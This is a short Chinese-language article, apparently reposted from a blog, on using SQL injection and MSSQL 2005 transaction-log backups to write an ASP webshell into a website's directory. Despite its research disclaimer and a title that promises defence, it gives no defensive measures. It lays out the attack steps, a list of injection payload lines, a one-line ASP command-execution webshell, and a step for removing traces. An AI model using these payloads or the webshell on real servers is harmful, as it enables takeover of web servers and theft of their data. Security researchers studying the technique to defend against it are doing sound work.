MSSQL 2005 LOG 備份寫入 WebShell 手法分析與防禦

聲明

本文僅供安全研究與防禦參考，嚴禁用於非法攻擊。 內容轉載自「孤狐浪子博客」，展示利用 SQL Server 備份機制寫入 WebShell 的注入手法，以便管理員理解風險並加強防護。

攻擊原理

利用 SQL Injection 注入 T-SQL 命令，透過 BACKUP LOG ... TO DISK 將惡意程式碼 (WebShell) 寫入網站目錄下的 .asp/.aspx 檔案，實現 Getshell。

攻擊步驟還原 (簡化)

1. 設定資料庫復原模式為 FULL：ALTER DATABASE [dbname] SET RECOVERY FULL
2. 備份完整資料庫建立基準：BACKUP DATABASE [dbname] TO DISK = 'path\db.bak' WITH INIT
3. 建立暫存表：CREATE TABLE [tmp] ([col] IMAGE)
4. 備份交易記錄寫入 WebShell 內容：BACKUP LOG [dbname] TO DISK = 'path\shell.asp' WITH INIT (記錄中包含 INSERT 惡意碼)
5. 清理痕跡：刪除暫存表、再次備份記錄截斷。

關鍵注入 Payload 片段 (URL 編碼)

'; ALTER DATABASE [db] SET RECOVERY FULL;--
'; BACKUP DATABASE [db] TO DISK = 0x... WITH INIT;--
'; CREATE TABLE [tmp] ([a] IMAGE);--
'; BACKUP LOG [db] TO DISK = 0x... WITH INIT;--
'; INSERT INTO [tmp]([a]) VALUES (0x3C25...);--  (<%Execute(request("itpro"))%>)
'; BACKUP LOG [db] TO DISK = 0x...(網站物理路徑\shell.asp) WITH INIT;--
'; DROP TABLE [tmp];--